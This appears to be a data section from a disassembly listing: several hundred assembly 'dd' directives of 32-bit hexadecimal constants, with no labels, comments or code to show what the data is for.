		dd 8F513657h, 1C40D796h, 0C679F48Ch, 0A4A78D7Ah, 1E6E3865h
		dd 5B518FA8h, 0B1C3D6D8h, 828935DAh, 0EFB47505h, 5C9B6845h
		dd 0CE4E36C5h, 80788D30h, 58CA38Ch, 0A2F87EC0h,	0C0198389h
		dd 15F8D414h, 0E0D73A65h, 0C92ADFB3h, 1D5ECFA7h, 629B3901h
		dd 69B1F793h, 6EAB03C4h, 5FE2BB13h, 0A9FB7712h,	420E2197h
		dd 0FCBEE34Ah, 0BAAC8A68h, 9D4DB9A8h, 5FE78759h, 0B3665C5h
		dd 24DF3311h, 0D4FA7732h, 0B432FF72h, 0EBBF4E8Ah, 5349A342h
		dd 0F5ABBE44h, 67D2CDC0h, 84C0C0DDh, 484FA792h,	4C33344Eh
		dd 0AA2A8954h, 660B2A99h, 55BCFC68h, 0EA08589Fh, 0E1D2C993h
		dd 2B0089D8h, 6E0A4105h, 913EBACCh, 0FDBC9D91h,	4660DC25h
		dd 0D3C38F97h, 0F5CB4CD9h, 7FED001Ch, 63F2E176h, 0EAE9549Ch
		dd 83930097h, 0CED16D7Ah, 0B8C3E4CDh, 0E066CA91h, 43F4184Ah
		dd 92AB22BFh, 0F7788A19h, 0A24267E5h, 68AD4221h, 0A430E874h
		dd 0EB41798Ah, 78A62107h, 0B70E36EEh, 0ACF5ED6Ch, 3881FC00h
		dd 0B064861Ch, 0A1A97135h, 0DC94714Ah, 0AC549F00h, 0B3023DEEh
		dd 5EA9C9CAh, 23505B3h,	613D119Ch, 83C4E0F2h, 417C1E7Ah
		dd 73B85DD8h, 7E119403h, 0B8B1365Eh, 0A458247Bh, 6A790745h
		dd 30115097h, 3A5DE434h, 6B4BAE73h, 94BDBE75h, 7DD82250h
		dd 85E5F67Dh, 0C28A0917h, 22CD7124h, 0DB11CFC8h, 7F1B5809h
		dd 52D82CBFh, 0DDFA5A8Bh, 0BAC0B108h, 0F3043CFBh, 0B770Dh
		dd 36658E27h, 0B6351E2Ch, 773C1350h, 0A2DB6B66h, 82C64CDEh
		dd 0E0726DB4h, 3BF70692h, 215E521Bh, 79C516ACh,	0ABDBB5FFh
		dd 9ADCED97h, 0B945A548h, 5F5455B2h, 70AE71BDh,	0A33BCB2h
		dd 87EE1CD9h, 0F8B306C0h, 2E365B4Ch, 44B14412h,	28BD5B63h
		dd 0C1CBADE0h, 98A41C43h, 0A27D93C3h, 0E2CF340h, 5302D82h
		dd 44BD1B06h, 0D140B310h, 0E91015B8h, 0CC5C7D89h, 91EBF902h
		dd 9F61C377h, 91A8B0D8h, 1B3CD4FFh, 0B86490D9h,	0F16170Fh
		dd 0C703214Fh, 37B38B54h, 29C7216Eh, 7BD20EE4h,	0F1EF875Bh
		dd 403CB30Eh, 1ED0A17Bh, 20A799AAh, 0D3D50E6Eh,	0E9B907B8h
		dd 0FCE87D8Fh, 513086BCh, 0BF999231h, 0D755E52Fh, 0EA76D0FCh
		dd 7A8C8Fh, 0FFAB23F0h,	20A13856h, 9D53EAE5h, 291C3762h
		dd 56B70F2Bh, 0E95F5988h, 0B870B2ABh, 0EB738F00h, 9C73814Ah
		dd 4752CBB3h, 0CBEE4997h, 590BADABh, 0BAB13685h, 0D94D34AFh
		dd 0B32A7433h, 0DDB94B60h, 0F193EFBDh, 50BA9D2Ah, 0F9E2A582h
		dd 37D51B9h, 6ADD8298h,	4C8EA16Eh, 0E3883875h, 4096A58Ah
		dd 840EAE3Fh, 4CC646A8h, 0AF6ED0C1h, 49CB5A4h, 0EB88ED9Ch
		dd 0EE874E99h, 8994E776h, 0BC5067FFh, 5DC933h, 0D673C729h
		dd 0D2543BC2h, 285DCE63h, 0FDA0AF0Bh, 6E548D22h, 0CA6A0A8Bh
		dd 0B1832BDDh, 2074EF06h, 0B497955h, 56414158h,	0D0FA8FEEh
		dd 0F41B19CAh, 5987EF56h, 2C1498F2h, 0F5A0556Fh, 880AED3Ah
		dd 595F79A6h, 8A6F41D1h, 0BA34CA70h, 0BB118D73h, 9A74C100h
		dd 39BB9BDEh, 673983BBh, 6397FE68h, 44661265h, 6200573Bh
		dd 12005BCFh, 3496C0B3h, 0C825B0B0h, 0E0AE2CA7h, 1754BBD7h
		dd 37E7BB9Dh, 4E76D5D6h, 51B2BA64h, 0FA828B9Dh,	61B5DF6Ch
		dd 0BBE51996h, 4095BB00h, 3D337E88h, 400BE87Eh,	4E7663F9h
		dd 49C44C9Dh, 0E6046E75h, 0BAC7AD2h, 3DDA0D1Fh,	543874AEh
		dd 0EE7B5587h, 63BEDB71h, 0ACEF16C1h, 7C65ECB0h, 0B4A2956Eh
		dd 8D74647h, 221B4E06h,	0D4EB30FFh, 60ADE046h, 0CBC141E0h
		dd 4BD0AD11h, 0D291A4E2h, 97327D7h, 0B037F65Ah,	75854EEEh
		dd 0DDDB66D1h, 3901F159h, 1CF79D20h, 0DC5F3F49h, 7DA2B7E1h
		dd 6908D7E6h, 7A891046h, 0D65137D9h, 8CA5FFF8h,	4DC17A23h
		dd 3DCB3CC5h, 2E8B8ECFh, 0E465A4Fh, 0EDABD84Ch,	10783BE8h
		dd 0CD999217h, 631FAAA1h, 0B39D017Bh, 27BF36EEh, 0ABAD965Ah
		dd 6F3BFC7Eh, 0F6627ACFh, 0F8375A43h, 3A52E3BBh, 4EB86596h
		dd 0C53AF0B2h, 0ED2B656Fh, 0E9B5E2CDh, 1378DE79h, 9C7D7200h
		dd 3889FCDAh, 0B18290C4h, 8AE063C1h, 0E22B160Ch, 0EADDFC8Dh
		dd 0BEE68C78h, 0BA34CA97h, 0D4CAD56Bh, 0A5CA058h, 24C09199h
		dd 7FE8B6B8h, 0CB0F2120h, 0C58B9B4Ah, 78844F00h, 946FBBC5h
		dd 2283AF1Ah, 0D5480B56h, 52F90366h, 237A67FEh,	5A6182A1h
		dd 0CFBDE55Fh, 0F959BF86h, 4C1AC8CAh, 7F7F3455h, 6188D885h
		dd 65B1B1A4h, 0D149FFC3h, 268A6D3Bh, 8F048BE9h,	6C966E57h
		dd 0D62BDC4Eh, 4BD55858h, 0CE27D97Fh, 0C3816AD6h, 0B7224067h
		dd 4DF75A71h, 744F4A9Ch, 7B052F3Ch, 9F59F1Eh, 0C747785Fh
		dd 5ECE6301h, 0E0CF803Ch, 0A0D202D0h, 4CF8FB4Fh, 8ECAC081h
		dd 0F1DE5A4Ch, 4F1A801h, 8093E4DFh, 0D29D1C7Dh,	42FE82C9h
		dd 0AB60C02h, 0D99E3CF3h, 78C8CA48h, 31616442h,	0A5E109F1h
		dd 0E241F958h, 181B1FFFh, 2273F8A5h, 33BE2896h,	0EDE1448Fh
		dd 64F28996h, 0D708949Dh, 4E43282h, 614D1D6Fh, 49AFD623h
		dd 8377C31Bh, 0FAE34C8Ch
		dd 4890D76Ah, 6963876h,	1FCDC0C0h, 159EF5ECh, 5BED6637h
		dd 76EC9998h, 0E6AAFB15h, 7CDEE056h, 0C7530E38h, 0C3F530B3h
		dd 6160793Ah, 0BC4463DBh, 9BF92A54h, 9AE95D4Eh,	1F4BEEA7h
		dd 0F8AD5BC7h, 392BED1Eh, 41791D6Fh, 1BA675F5h,	4DF299A1h
		dd 0DA012F8Fh, 532D9BAAh, 5AD2B9F5h, 69A731BAh,	29114B1h
		dd 92F0D5CFh, 93732F9Ah, 3D0870A0h, 11BEE2ADh, 3154D539h
		dd 177A6F8Ch, 0FF5FA08Eh, 0B7B14F52h, 0AEA27020h, 1DEF9791h
		dd 7A9AD317h, 0C1786935h, 0D74FFBCh, 110C5C77h,	284F8B2Fh
		dd 0E0A53A39h, 6EAD9DA5h, 0F6BBA818h, 11C53BBBh, 0AB42985Ah
		dd 4EF8EAB7h, 0E25247DBh, 8325C840h, 0C7081A44h, 72779AE8h
		dd 0EC5EDF66h, 8AC4AC71h, 0C15D0068h, 29844588h, 2D31D66Bh
		dd 8E486F2h, 0B692D17Bh, 0D4F3B24Fh, 7F3F3AB0h,	3512EDD9h
		dd 0AB41E06Dh, 0F700EEA6h, 7F0A8F0Ah, 7392D6D0h, 5AF2E936h
		dd 58B7C57Bh, 4B557F31h, 3956DF8Eh, 0BE05C416h,	91C2824Ch
		dd 59467596h, 90F7C870h, 33CB25EAh, 7DE41D8Eh, 0AD8339F0h
		dd 6A471BBBh, 0EFB09CADh, 0ADD97758h, 0D66A77A2h, 0FCB5E02Ah
		dd 7EB3F0F6h, 30BDBF08h, 66F87305h, 0B7A414B1h,	0D7F7CCEAh
		dd 0A8280DD8h, 7939E322h, 7A5B1E14h, 0DD7EC56Fh, 95ED1748h
		dd 2AC936E6h, 96129D8Ah, 246F162Bh, 0D5520786h,	0A6771229h
		dd 54DF69DBh, 470F4137h, 0B550959Bh, 0B77FC26Eh, 8401E1D0h
		dd 68D19C02h, 4F667C37h, 0F8D27430h, 0BA279B7h,	0C31CEDA5h
		dd 772AA9AAh, 4DA7E4FFh, 0E600A8CFh, 0FD243AD8h, 73C2A473h
		dd 43F1EB4Dh, 8E4CAFD5h, 6E66BB56h, 0AF4BAA75h,	26936936h
		dd 75472ADEh, 69101733h, 0D6F3E966h, 28D10605h,	3DBFEBB9h
		dd 0C22732D6h, 9CE51DB3h, 8C4718CAh, 2BD113FBh,	0E6B999F3h
		dd 3511D394h, 5174F45Bh, 0C3E1C88Bh, 98918972h,	0CC17D986h
		dd 320DF7B9h, 6B7EDC50h, 529D7A69h, 0EBC48389h,	0A426FC1Ch
		dd 1D86E6D2h, 8DC9E5FAh, 0A440B9AAh, 56FFEDFAh,	0DF50BC42h
		dd 10FFE95Eh, 11012A77h, 0ED8A15Fh, 29EF5B90h, 924CE5Bh
		dd 0EFAA4F7Ch, 0E5535CC5h, 0C87C614Dh, 2BD962F4h, 0AC51656Dh
		dd 0FD2A506Ch, 15A95675h, 0D22CE4B2h, 0D691413Ah, 494C0B51h
		dd 1DEF8A4Ch, 2CC525Bh,	7AA9ECFFh, 0D0709C0Ch, 7A725335h
		dd 6EB4EB27h, 2ACD8B29h, 0DEAB0E07h, 0C151A0FEh, 5C093E04h
		dd 0BC4C16A0h, 506C93FCh, 782C03C1h, 34AA3A04h,	7865E296h
		dd 0DA7431F4h, 391E2D40h, 8499D720h, 56795DFh, 3F2C20D8h
		dd 4C9A488Ch, 8CFF6DC8h, 0AD297C68h, 1F84B0D4h,	7785D569h
		dd 5AD15347h, 0D165420Ch, 50C44E8h, 0AF30342h, 37E03903h
		dd 9B2AD495h, 1C6CF1C9h, 12BB4428h, 0C86DFB47h,	1AA4DE5h
		dd 27A20D68h, 0C9A6F66h, 3A041C04h, 6C0AE50Bh, 92A651D8h
		dd 8DD6CD0h, 1AD42DA4h,	0B1DC7DF4h, 930ED3ACh, 36F5D811h
		dd 1073D356h, 579F3117h, 25FC7CA1h, 185FE810h, 0E888F470h
		dd 37AE0A39h, 2372370h,	571B34A5h, 71E08B2Ah, 2D77DBCAh
		dd 5937407Ah, 8BDB0902h, 8E6CFAACh, 5D707986h, 17FB5A64h
		dd 0F9AD1333h, 71E85F8Ch, 37E25B5h, 0D7AF8C21h,	2E8813F2h
		dd 0C839D9CAh, 0E1034A1Bh, 0CF296471h, 2ACC8595h, 2E63361Ch
		dd 0F6B8C6C0h, 0FA6AD967h, 0EB466C46h, 0F655AC6h, 53A63A36h
		dd 48C4DB30h, 9F96B931h, 13343A8Ch, 0D07B68C9h,	0A350F18Eh
		dd 84B479DBh, 8DAA515Bh, 7DEECECh, 758EB68h, 15225C13h
		dd 85B0F897h, 0A4C72166h, 0BC55741Ah, 5AB13FABh, 62747C9Eh
		dd 26BB1F6Fh, 442C0CCh,	0C1337E87h, 52373AA5h, 0DDA77C3Fh
		dd 340CECF4h, 0C9C18BECh, 3F4F2572h, 70A66D13h,	0C20A8B6h
		dd 0C783FDEAh, 672935C3h, 1E88D1A8h, 7BE5480Bh,	0D4FCF1B8h
		dd 2042EB10h, 84E4592Eh, 1D2AC247h, 0F564C163h,	0B1B4D7F0h
		dd 63316EAFh, 0B4AF54DFh, 0B12FF134h, 0E3F309DAh, 0C9EDA7FEh
		dd 73642B95h, 0ACE2ADC7h, 1B1F488Ch, 0F4AC282Ch, 0B8A4AC6h
		dd 19ED3F72h, 8030A6B5h, 0EAC117BAh, 1DCABF85h,	3879BB60h
		dd 4B796B96h, 0E679AE8Fh, 89BE5B93h, 21E55413h,	0E80807F0h
		dd 0E6DB2BEFh, 0D6C3C96Ah, 4B2E0B00h, 791F15C8h, 0E27B0B50h
		dd 4AC47A5h, 869959A1h,	8BCA9C5Dh, 6F20090Dh, 0F274C160h
		dd 0D679DA49h, 0CA026DB0h, 23266D79h, 1EB2F598h, 5FF62624h
		dd 69A79F10h, 0A55DF40Bh, 0B0EBB066h, 172BF961h, 0A8168922h
		dd 1FE31ED9h, 20BFC3AFh, 92B5B1C7h, 0D4001F9Ah,	0DEC5EBB2h
		dd 3E287D3Ch, 0C1EA45B1h, 3D713A95h, 1ACB58CEh,	3662CB1Bh
		dd 4DBC0969h, 0D0524B75h, 256B809Dh, 4170EEDEh,	92A1EE7Bh
		dd 0DDDFAAF8h, 389CF20Eh, 713745E9h, 77F108BAh,	8D2A6423h
		dd 61FBAA4Ch, 0EF3C47F6h, 3BD2055Eh, 7D38EE6Dh,	0B4C3C4E2h
		dd 80E6AA5Eh, 0ECB83F02h, 5A02A761h, 0E657EA0h,	0CFF4F61Ch
		dd 1E981161h, 0ACC380A5h, 0B6F4837h, 4D031B3Fh,	67938C3Bh
		dd 2B4E7711h, 374FDEA7h, 0E3951438h, 688D0D43h,	0C8A872D9h
		dd 0A8E9C2F7h, 432FD5E5h, 1A7728EAh, 0D5FD2638h, 0DA5CA317h
		dd 64522956h, 39BD08B7h, 52E61E07h, 0CD328562h,	0DB6C2FE9h
		dd 2D719FFEh, 18BED3E8h, 0F13D5FF4h, 62B600A6h,	91BD6596h
		dd 0F08F00F2h, 6DB66FE1h, 526AB650h, 888F0181h,	0EED4F851h
		dd 75ECA967h, 84586411h, 3E73B863h, 0AE02DC4Dh,	6EF9BA59h
		dd 26BFADA0h, 3E7D1D5Dh, 55A64537h, 0FB52BE8Eh,	830D0BD3h
		dd 0BD66C083h, 0CE5B6762h, 5E92B44Dh, 41A96EAEh, 0A809E973h
		dd 0EC8005BEh, 8A822D83h, 2C16ED54h, 0A452E1EDh, 723D191Eh
		dd 0ABCD17E4h, 71B6ADEBh, 0A865857h, 0CCF34A5Dh, 2633D073h
		dd 27E6E0E4h, 8C05B257h, 8471CF5Eh, 1B9CAAE6h, 4EF87656h
		dd 0B3DBA751h, 15B66066h, 2E71905Ch, 23AE22BAh,	3481795Ch
		dd 481F517Dh, 0F10098B4h, 0D78FC2F1h, 2E9B9558h, 7DE637Ch
		dd 92DF049Dh, 23205B4Ch, 0B98A3336h, 9E422F99h,	0C01F1743h
		dd 0FCDD4A2Fh, 11ECAF8Fh, 7609598h, 0F51260D6h,	6A8AFD20h
		dd 8569DCE8h, 0B7D3FFC6h, 0A07C9073h, 5DB6BBE0h, 2A9B4367h
		dd 0EDC2EAD4h, 7ADC5BBh, 0FF75ABFFh, 0FB3D590Ah, 0F24AB591h
		dd 5B62AEA7h, 4E003F07h, 9FF225B2h, 84A662ABh, 0B88817EDh
		dd 0F5FF3DB1h, 0D59A9501h, 941EEA62h, 3CC4F4C5h, 36EADDh
		dd 0E95EADCAh, 0C9EE13D7h, 64971526h, 0F48CFCAFh, 0F297E38Dh
		dd 9DAD388Ah, 393E55C0h, 7480E34Fh, 1E6E75E8h, 41963584h
		dd 0E47DD590h, 889721D8h, 0E4D86ED1h, 32A78B79h, 2989C926h
		dd 84F8319Fh, 5E9CA647h, 0FD8790A7h, 0AE0CDA1Bh, 0E7016553h
		dd 590163AFh, 0E25D82D6h, 9C9897F1h, 855255BEh,	6B32B818h
		dd 0AF6FA49Eh, 0BA9EBFA1h, 56A67240h, 69CA5984h, 9D1F1C7Ch
		dd 0BAD7778Bh, 0E2E8CCD1h, 0A3D3D454h, 3A28DAEBh, 59A4B5D7h
		dd 1611D507h, 4FE09B8Ch, 53CF0DE9h, 0F351326h, 3CD59ADCh
		dd 7935C5B7h, 0DA5D5C7Eh, 0A4A612A9h, 9682B70h,	27C383C9h
		dd 388B1E72h, 0AA0B0D8Dh, 0ADF91348h, 5C520E6Dh, 0D71719FAh
		dd 0A632FA4Ch, 44A5B005h, 0B1FC63DDh, 0E392784Dh, 23E91C79h
		dd 3E73359Ch, 500FC085h, 0A6C81BC3h, 8410D5BCh,	0CAA6EAD5h
		dd 7B3BB79h, 0D8BAE9DEh, 9D888381h, 0AE18DBBBh,	174AACD1h
		dd 2C8273Bh, 2507AABBh,	563B33A2h, 4B3B2D55h, 55664E45h
		dd 0BE17C074h, 844A3809h, 2DA764A2h, 5FBE905Ch,	0B75DB8F3h
		dd 0ED3DC232h, 0FE3DC14h
		dd 0C96F4BD2h, 0ADBA98Fh, 6432A48h, 8360074Dh, 0E8F987CEh
		dd 84F18875h, 530C2819h, 9B7BC227h, 0F37567B1h,	48568325h
		dd 1868C390h, 0BB26F4F4h, 9314D56Ah, 32E06B25h,	84B34C8Ch
		dd 631ABF14h, 6C8CD935h, 80CE3C80h, 8BD0ECE8h, 0C58C47A6h
		dd 2593B211h, 307AD387h, 96241069h, 980F0E14h, 5F4FEA23h
		dd 0B97343Ah, 0F07736FEh, 2E5E339Ch, 182821C2h,	93663FEEh
		dd 5A36405Dh, 1377177Fh, 88121344h, 2B67AB15h, 6F2567Fh
		dd 0E54E7ECEh, 4CB871E6h, 72484F4Dh, 6572DCAEh,	95C3DE04h
		dd 0BF578F45h, 6A6731CDh, 0F68A55E4h, 1C8EF9EDh, 0C3157085h
		dd 152831B5h, 9F03359Ah, 180B35E6h, 8722E490h, 49B2E7D2h
		dd 9F821B81h, 80BCADFAh, 0FC4957AFh, 1611694Fh,	6DAA7171h
		dd 383ADF0h, 0F045764Fh, 0E0FBA750h, 0B803FC36h, 2F94B211h
		dd 2DCE8111h, 82BE5F89h, 1CE22290h, 0C1EE981Fh,	0B2D54E53h
		dd 53E563B9h, 0AD7D3515h, 7679DBDAh, 6D67A7D4h,	0D0F95369h
		dd 1D290E62h, 0AEFB02D0h, 6B4E234Eh, 80D2A3FFh,	0C0B41083h
		dd 0CF7C3F3Fh, 77E91031h, 81D610A4h, 8B5D11A4h,	0AD440AA9h
		dd 229E275Ch, 74A1FD1Ah, 1C1BF3F1h, 564B7F5Ah, 0CBA3B20Dh
		dd 8C6240DCh, 710B0BB6h, 8B4D0D18h, 0F3044784h,	84B7BEB4h
		dd 0B188FAE1h, 2EF9E39Ah, 6D414934h, 0D55EC8C9h, 0A3FF397Ch
		dd 311C9E48h, 9A64CA84h, 0CAD7C56Dh, 0F1FCE8B8h, 0C34E5AD5h
		dd 4519119Bh, 0A4E753E8h, 0E0DF6621h, 56E63AE4h, 0B960C3C9h
		dd 93E81537h, 0DCB0776Ch, 0DB55A966h, 2C682637h, 93563B4Eh
		dd 0B0F63D25h, 28ABE3FFh, 7772FE5Fh, 8302CE06h,	52D11EEAh
		dd 0AE6A9791h, 693EEA5h, 0E4B131D2h, 0B1A8AD9h,	7B7669E3h
		dd 2D4274F7h, 0D6C38C94h, 5A7861B8h, 92A96841h,	0B425E591h
		dd 10610EC9h, 3DFC2DE7h, 9E7A5257h, 0C04F09C7h,	52D9B356h
		dd 17B20AA0h, 0E5BD3E87h, 9EF28ACEh, 0B94DC6CAh, 0D538651Dh
		dd 3B647924h, 56E5C756h, 0B8D3D98Fh, 0CFB03C8Eh, 247B1912h
		dd 14A086h, 3CF172E1h, 0E39DE001h, 58ED122Eh, 54368CCCh
		dd 0BD3566A9h, 0B81F09CAh, 8AADB34h, 815FA2CFh,	23EE3B83h
		dd 35DF12DEh, 0E9E23DE7h, 8997DD7Eh, 749B73DEh,	0F458E8DBh
		dd 0F79D8B3Bh, 808954DBh, 227909DEh, 4AEFCE35h,	5B98687Ch
		dd 84107A64h, 0B7A6473h, 8CCCF5C0h, 0A3ABDC17h,	2594D270h
		dd 3E79E2FCh, 0DC22AB51h, 0D7FA8A82h, 5F478236h, 2D1A3EDEh
		dd 0CF512FFCh, 0AD7CD2AEh, 1A7CFFA8h, 32649B4h,	81043FF8h
		dd 4DF73A7Eh, 0D1A287F2h, 0DEBAAFBBh, 3798FFC8h, 0A9A2D01Bh
		dd 0E660AB69h, 5E03BC02h, 0EE977C28h, 1796579Ah, 0F7712989h
		dd 0F55387BEh, 0AB7C6CE2h, 0D3FB1B87h, 2ABA28C0h, 42F65899h
		dd 0BF489BC1h, 0B2A0A277h, 460E6153h, 2C5B3602h, 18452141h
		dd 24F05AA1h, 2616B7Ch,	847AF767h, 22FEB971h, 0E85A8467h
		dd 5FF94663h, 365258B4h, 0C9178555h, 2CD3F38Fh,	6E4203A3h
		dd 46ADD4F0h, 22A49593h, 7C4A75Bh, 0EB28973Ch, 72E1F104h
		dd 0EAB5E30Eh, 9FB46FBEh, 0BA45E281h, 628CD2ACh, 24D5CC05h
		dd 9BC7F358h, 1D2A9E28h, 74E4708h, 31ADDA49h, 5B7CFC0h
		dd 0C244DD0Ch, 0B3696CA0h, 566ABE43h, 0CF47453Dh, 9C6A70B2h
		dd 665F4A66h, 49AF0F16h, 0EE4C2CBBh, 0C753F61Dh, 67FE4A07h
		dd 1FF0523Bh, 5886D933h, 0B44D6709h, 1BFF138h, 3587DDEFh
		dd 7EAF880Bh, 0C4852686h, 6A6C4657h, 0E33FDD82h, 62A303CDh
		dd 0F5F1B365h, 8C9BA581h, 32481762h, 0C8F05922h, 0E96C1E81h
		dd 1EBB9614h, 5C9FAFD0h, 888AFC98h, 4B5B17C7h, 0CC134997h
		dd 0DCD921A8h, 0E62B7CECh, 40049A8Bh, 6F2F65AAh, 34EFBD32h
		dd 994946A1h, 0C5C8F9C2h, 75EC96A2h, 9B38D5F3h,	2939EA1Ch
		dd 5BD05916h, 9A9D6810h, 0ECE6EB4Ah, 659DBC99h,	59815290h
		dd 81B227E5h, 0FFF451CBh, 6B85DBDCh, 4A68907Ah,	6D11DEACh
		dd 9B8ECEF9h, 5A38440Ah, 91C68586h, 6F668A5Ah, 7277E7FCh
		dd 9F44ED9h, 0FF7CA11Fh, 8BFDF14Ch, 0CD47E135h,	7933F4Dh
		dd 60DD79D0h, 31A23C91h, 7FB54F4Fh, 407F0ED3h, 2E86C8BBh
		dd 1E510DF9h, 98F1EEEDh, 2015A621h, 225668BAh, 0FD242264h
		dd 192C303Fh, 79E90F18h, 97700CE7h, 0AADB0268h,	2453022Ch
		dd 584C6465h, 7CE1C634h, 0C7837E3Ch, 0F27B3479h, 49B8309Fh
		dd 0BD83EEDFh, 5B2B2CC1h, 0A2851FFBh, 0BA84B6AEh, 0E8C4D27h
		dd 0F2B0C869h, 7AEBF1DAh, 20E3DF52h, 22F5C5FFh,	0B97455A2h
		dd 85BF8982h, 0E70BE9A3h, 0BC828D56h, 5B4F0CDEh, 0E6A75C7Dh
		dd 39A7A64Dh, 295F02E4h, 9BBD2192h, 12A69B2Bh, 0E472D7AAh
		dd 0CBA93036h, 320CD001h, 0BBB30F28h, 39D3A8EEh, 49FF20D7h
		dd 617226BBh, 2BBD9B20h, 0B27C958h, 64DB0AC3h, 2357998Bh
		dd 14BEA89h, 0F2A66FBEh, 75B13176h, 34784B2Fh, 9C84D9F5h
		dd 5DB85EE8h, 0D8D6938h, 33FC09AEh, 0ECAD9EDFh,	716A2E84h
		dd 8E82DE7h, 2FCFEA5Eh,	606F9C10h, 390ACF0Eh, 0C3280964h
		dd 5F601071h, 0C22E278Dh, 71EB927Fh, 0DF9FB38Dh, 9573A7CAh
		dd 48A79206h, 217942DEh, 0ECA0C0BCh, 2A689527h,	0F36A7E8Dh
		dd 28363513h, 0EEAC51A2h, 1ADAB720h, 2BB72BB3h,	0DD8BB4EBh
		dd 3968D292h, 0C2D66009h, 958CFD7Ch, 68545BA6h,	0A8430D39h
		dd 0F4B41856h, 97277BE1h, 0D4BC23DFh, 0C51BD4D7h, 0BC5C7090h
		dd 7230C36Fh, 0C2119482h, 7A165CB4h, 1B5EA4F1h,	0EC4C5666h
		dd 0D6285B2Dh, 4406A778h, 21F1C981h, 429E2A55h,	0D0DE89BEh
		dd 4B4336B3h, 0ECF3DD7h, 276F2E33h, 808DBFFEh, 0A25AB6Eh
		dd 0F8F7494Dh, 93386102h, 0D7870659h, 5D823BC4h, 5FD4E572h
		dd 0D0536F76h, 6CFD7D94h, 48D544AFh, 0ED94D8F8h, 7C05DEBEh
		dd 67DF3D30h, 0BA612A99h, 129BB5EBh, 3A6ABE63h,	99DBFB29h
		dd 4E941E5Ch, 0B966E6A4h, 8B61398h, 0C92F45C6h,	5D137440h
		dd 6C99B555h, 0E842A190h, 0B0171C55h, 0F7FF8C71h, 7838078Bh
		dd 0E475DD8h, 61F49479h, 0DC1B050h, 1D9AF3F9h, 0CD3551E3h
		dd 417DA6B0h, 75205200h, 0DC341D88h, 2BD970A7h,	0B6FF1455h
		dd 0A59AE4DAh, 5E0DE0E7h, 0CACBF1F3h, 0F141AFAEh, 0AD4DD424h
		dd 4B11B505h, 0EB73F662h, 0E1D8A6A7h, 0AF4716A4h, 0BDFBBCF3h
		dd 25DAFC7Eh, 0F549C80Dh, 4B54010Ah, 0EC2D0D71h, 0D2F33163h
		dd 377EBDB0h, 0B0B08D97h, 68858535h, 0DD3CCE77h, 3EA93F92h
		dd 3FC0C008h, 0E22A9207h, 6CD00D83h, 0FB7C2DD7h, 0CFE83526h
		dd 2B3B53E1h, 0FD36DB05h, 0DBD3D315h, 4320023h,	0E2FBAFD0h
		dd 6081BC99h, 9CD46BFEh, 0F1EB4D10h, 0BAC64CA5h, 0CFA0DB4h
		dd 3E5570ABh, 717D0007h, 0B006D93Eh, 7316BB96h,	0C20D066Eh
		dd 945CBB36h, 50ED2BA0h, 0B636F1D6h, 1ED76B1Ah,	5575EE0Dh
		dd 9174EEC2h, 0C27A7172h, 5917A2D5h, 76F43088h,	930B903Ch
		dd 0C63F6E19h, 4A1F1634h, 1B323296h, 0C8A8D5D8h, 18396D68h
		dd 44723905h, 66370771h, 0B5FD269Fh, 0D60AA66h,	720202B6h
		dd 9FC8B901h, 21D6E9E4h, 29994B4h, 0AC5039F5h, 0E02ECD4Bh
		dd 0E542C1ABh, 0A2A10052h, 0DDD13955h, 2996939h, 6DB7249Ah
		dd 9F17E81Bh, 0DC8EF550h, 0DEED9EE6h, 0ABB0A67Bh, 0ED6C6BE1h
		dd 0B361DEA3h, 0ACE5AFF1h, 44F6737Dh, 9231B549h, 0AC341B1Bh
		dd 7AD623BBh, 14574487h, 0E51C8879h, 0EEFB4747h, 0AA9E560h
		dd 0E41FAC40h, 0E4433B8h, 0A92D894Fh, 11A95F29h, 2D4D2E50h
		dd 2CF9B297h, 21032D8Ch
		dd 2D462B61h, 75A664C1h, 9058925Eh, 245DD1Bh, 89AB9FF5h
		dd 49C96373h, 0A74AB076h, 6BF85C14h, 0DE8CD4EFh, 0D85AF68Bh
		dd 0BE3BE1A1h, 0E8C9606Dh, 1AC79809h, 0CDE229F0h, 496525CBh
		dd 0F770010Ch, 5497C21Eh, 5F04AE14h, 768EBA47h,	0DAABAE9h
		dd 9A969A2Bh, 64A99131h, 28BF4418h, 0CEBE1A5h, 0BB205470h
		dd 520CCB4Eh, 20D54D0Dh, 0C53C9F29h, 7CA68DAFh,	0DA027825h
		dd 13F49D59h, 5D9C91E2h, 0F9A12E3Eh, 3B5AC530h,	1CC0B04Ah
		dd 9F89F4D1h, 0E46F80C2h, 8D90A4EFh, 76D81494h,	43E6A484h
		dd 71B32C4Ah, 84A8022Dh, 439079CFh, 0E6CC0D3Bh,	2BCF3AD5h
		dd 65A1CC6Dh, 4EF592F5h, 82A5EA28h, 44478037h, 0F0A56E1Fh
		dd 5F182EFAh, 43D79368h, 0CFE9FA65h, 5ADA5CD7h,	830E0853h
		dd 8D321415h, 4A788799h, 0D9C58EA4h, 38757698h,	0E6E575F5h
		dd 8E5F2B03h, 2DB0BEC7h, 0ED7BB754h, 1B808C6Fh,	18047B03h
		dd 0FB87BCF2h, 53C90646h, 237DEB0Fh, 0B90FBAFFh, 1E9D7EF4h
		dd 18677186h, 0E10BD62Ch, 20C5055Dh, 42B21000h,	3950611Ah
		dd 6D4BD3BEh, 958FC476h, 14230D88h, 16DC1665h, 5AE8EE01h
		dd 8DB60402h, 0C1A8FB46h, 0A01C6F2Ah, 6E516BB4h, 5AE024C0h
		dd 0EFC7ED48h, 0AD3EC32Ch, 0CACA2F51h, 616033A1h, 91570289h
		dd 0BB92AA89h, 0A528E02h, 0CD28F40Ch, 0C2EAF969h, 0B9D5313Ah
		dd 6991430Eh, 0E1D981A8h, 0BBEEBDCEh, 580BE152h, 4CE62C50h
		dd 313F69C0h, 853CC337h, 0DAC192F6h, 7E1B98Dh, 912E4373h
		dd 0E3ABB61Eh, 8977DD40h, 67A87FEEh, 0A49019C9h, 0B0ABA266h
		dd 0CEAB8F79h, 5C69ABA4h, 96E4CE52h, 9C05A7D1h,	3F33ECFCh
		dd 0CBAC4353h, 37DDD748h, 59334A8Ah, 2BC7A81Fh,	0D839AD0Dh
		dd 11D8EA72h, 0F7E3DBF9h, 0AA36381h, 48759A4Ah,	0B68B0A1Fh
		dd 47AA397Dh, 0D0D61DCBh, 52F917ECh, 7D90AEFAh,	4E622D64h
		dd 7FC52240h, 0E0B4F33h, 4A2EA440h, 0F68CD99Bh,	857ADC6h
		dd 3B07BA76h, 15C712CBh, 0BB298D06h, 0C5D1A43Dh, 8C981663h
		dd 1680F30Bh, 0F76F6B4Ah, 0C9084BE8h, 697FE8CEh, 53656C13h
